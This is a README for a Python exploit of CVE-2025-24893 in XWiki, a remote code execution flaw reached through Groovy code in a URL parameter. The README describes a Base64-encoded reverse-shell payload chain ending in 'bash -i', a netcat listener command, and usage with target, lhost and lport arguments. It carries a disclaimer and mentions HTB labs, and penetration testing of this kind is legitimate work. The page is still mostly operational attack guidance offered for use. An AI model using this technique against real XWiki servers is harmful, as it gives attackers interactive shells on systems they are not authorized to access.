CVE-2025-24893 Reverse Shell Exploit for XWiki

Disclaimer: This script is intended for educational purposes and authorized security testing only. Do not use on systems you do not own or have explicit permission to test. Misuse can be illegal and dangerous.

Description

This Python script exploits CVE-2025-24893, a Remote Code Execution vulnerability affecting XWiki versions up to 15.10.10.

• Tested Version: XWiki 15.10.8
• Impact: Allows execution of arbitrary commands on the target server.
• Python Version: Written and tested in Python 3

This version extends the original PoC by Al Baradi Joy to spawn a reverse shell. The original PoC can be found here.

How It Works

• XWiki executes Groovy code via the URL parameter.

• The exploit injects a bash -c command into this Groovy template.

• A normal reverse shell contains multiple quotes (' and ") that would break Groovy evaluation and the URL.

• To solve this, the script encodes the one-line shell command in Base64.

• The payload is then sent in the URL and executed using the following chain:

  {echo,<base64>} | {base64,-d} | {bash,-i}

• This decodes the Base64 payload safely and executes it with bash -i, giving an interactive reverse shell.

Target URL Format

• Format: http://<target-host>
• Do NOT include:
  • A trailing slash / at the end
  • The /xwiki path (the script appends it automatically)

Examples:

# Correct
http://10.129.95.114:8080
http://example.com:8080

# Incorrect
http://10.129.95.114:8080/         # trailing slash
http://example.com/xwiki            # includes /xwiki

Listener Setup

Before running the exploit, you must start a listener on your machine to catch the reverse shell.

Example using Netcat:

nc -lvnp <lport>

• <lport> should match the port you provide as an argument to the script.

Usage

python3 cve-2025-24893.py <target_base_url> <lhost> <lport>

Example:

python3 cve-2025-24893.py http://10.129.95.114:8080 10.0.0.5 4444

• The script prints the full exploit URL, Base64 payload, and instructions for checking your listener.

References

• GHSA Advisory
• XWiki Homepage
• Original PoC by Al Baradi Joy

Credits

• Original Proof-of-Concept: Al Baradi Joy
• This version: Upgraded to spawn a reverse shell for interactive command execution

Warning

• Use this exploit only in controlled environments (HTB, lab machines, VMs you own).
• Unauthorized use on public servers is illegal and can result in criminal charges.